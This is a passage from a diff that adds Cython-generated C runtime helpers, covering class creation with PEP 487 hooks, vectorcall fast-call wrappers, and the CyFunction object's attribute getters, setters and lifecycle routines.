__pyx_n_s_prepare); + if (prep) { + PyObject *pargs[3] = {NULL, name, bases}; + ns = __Pyx_PyObject_FastCallDict(prep, pargs+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, mkw); + Py_DECREF(prep); + } else { + if (unlikely(PyErr_Occurred())) + return NULL; + ns = PyDict_New(); + } + } else { + ns = PyDict_New(); + } + if (unlikely(!ns)) + return NULL; + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; +#if PY_VERSION_HEX >= 0x03030000 + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; +#else + CYTHON_MAYBE_UNUSED_VAR(qualname); +#endif + if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; + return ns; +bad: + Py_DECREF(ns); + return NULL; +} +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS +static int __Pyx_SetNamesPEP487(PyObject *type_obj) { + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *names_to_set, *key, *value, *set_name, *tmp; + Py_ssize_t i = 0; +#if CYTHON_USE_TYPE_SLOTS + names_to_set = PyDict_Copy(type->tp_dict); +#else + { + PyObject *d = PyObject_GetAttr(type_obj, __pyx_n_s_dict); + names_to_set = NULL; + if (likely(d)) { + PyObject *names_to_set = PyDict_New(); + int ret = likely(names_to_set) ? PyDict_Update(names_to_set, d) : -1; + Py_DECREF(d); + if (unlikely(ret < 0)) + Py_CLEAR(names_to_set); + } + } +#endif + if (unlikely(names_to_set == NULL)) + goto bad; + while (PyDict_Next(names_to_set, &i, &key, &value)) { + set_name = __Pyx_PyObject_LookupSpecialNoError(value, __pyx_n_s_set_name); + if (unlikely(set_name != NULL)) { + tmp = __Pyx_PyObject_Call2Args(set_name, type_obj, key); + Py_DECREF(set_name); + if (unlikely(tmp == NULL)) { + __Pyx_TypeName value_type_name = + __Pyx_PyType_GetName(Py_TYPE(value)); + __Pyx_TypeName type_name = __Pyx_PyType_GetName(type); + PyErr_Format(PyExc_RuntimeError, +#if PY_MAJOR_VERSION >= 3 + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %R " "in '" __Pyx_FMT_TYPENAME "'", + value_type_name, key, type_name); +#else + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %.100s in '" __Pyx_FMT_TYPENAME "'", + value_type_name, + PyString_Check(key) ? PyString_AS_STRING(key) : "?", + type_name); +#endif + goto bad; + } else { + Py_DECREF(tmp); + } + } + else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } + Py_DECREF(names_to_set); + return 0; +bad: + Py_XDECREF(names_to_set); + return -1; +} +static PyObject *__Pyx_InitSubclassPEP487(PyObject *type_obj, PyObject *mkw) { +#if CYTHON_USE_TYPE_SLOTS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *mro = type->tp_mro; + Py_ssize_t i, nbases; + if (unlikely(!mro)) goto done; + (void) &__Pyx_GetBuiltinName; + Py_INCREF(mro); + nbases = PyTuple_GET_SIZE(mro); + assert(PyTuple_GET_ITEM(mro, 0) == type_obj); + for (i = 1; i < nbases-1; i++) { + PyObject *base, *dict, *meth; + base = PyTuple_GET_ITEM(mro, i); + dict = ((PyTypeObject *)base)->tp_dict; + meth = __Pyx_PyDict_GetItemStrWithError(dict, __pyx_n_s_init_subclass); + if (unlikely(meth)) { + descrgetfunc f = Py_TYPE(meth)->tp_descr_get; + PyObject *res; + Py_INCREF(meth); + if (likely(f)) { + res = f(meth, NULL, type_obj); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + meth = res; + } + res = __Pyx_PyObject_FastCallDict(meth, NULL, 0, mkw); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + Py_DECREF(res); + goto done; + } else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } +done: + Py_XDECREF(mro); + return type_obj; +bad: + Py_XDECREF(mro); + Py_DECREF(type_obj); + return NULL; +#else + PyObject *super_type, *super, *func, *res; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + super_type = __Pyx_GetBuiltinName(__pyx_n_s_super); +#else + super_type = (PyObject*) &PySuper_Type; + (void) &__Pyx_GetBuiltinName; +#endif + super = likely(super_type) ? __Pyx_PyObject_Call2Args(super_type, type_obj, type_obj) : NULL; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + Py_XDECREF(super_type); +#endif + if (unlikely(!super)) { + Py_CLEAR(type_obj); + goto done; + } + func = __Pyx_PyObject_GetAttrStrNoError(super, __pyx_n_s_init_subclass); + Py_DECREF(super); + if (likely(!func)) { + if (unlikely(PyErr_Occurred())) + Py_CLEAR(type_obj); + goto done; + } + res = __Pyx_PyObject_FastCallDict(func, NULL, 0, mkw); + Py_DECREF(func); + if (unlikely(!res)) + Py_CLEAR(type_obj); + Py_XDECREF(res); +done: + return type_obj; +#endif +} +#endif +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, + PyObject *dict, PyObject *mkw, + int calculate_metaclass, int allow_py2_metaclass) { + PyObject *result; + PyObject *owned_metaclass = NULL; + PyObject *margs[4] = {NULL, name, bases, dict}; + if (allow_py2_metaclass) { + owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); + if (owned_metaclass) { + metaclass = owned_metaclass; + } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { + PyErr_Clear(); + } else { + return NULL; + } + } + if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { + metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); + Py_XDECREF(owned_metaclass); + if (unlikely(!metaclass)) + return NULL; + owned_metaclass = metaclass; + } + result = __Pyx_PyObject_FastCallDict(metaclass, margs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, +#if PY_VERSION_HEX < 0x030600A4 + (metaclass == (PyObject*)&PyType_Type) ? NULL : mkw +#else + mkw +#endif + ); + Py_XDECREF(owned_metaclass); +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS + if (likely(result) && likely(PyType_Check(result))) { + if (unlikely(__Pyx_SetNamesPEP487(result) < 0)) { + Py_CLEAR(result); + } else { + result = __Pyx_InitSubclassPEP487(result, mkw); + } + } +#else + (void) &__Pyx_GetBuiltinName; +#endif + return result; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} +static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * +__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* +__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + 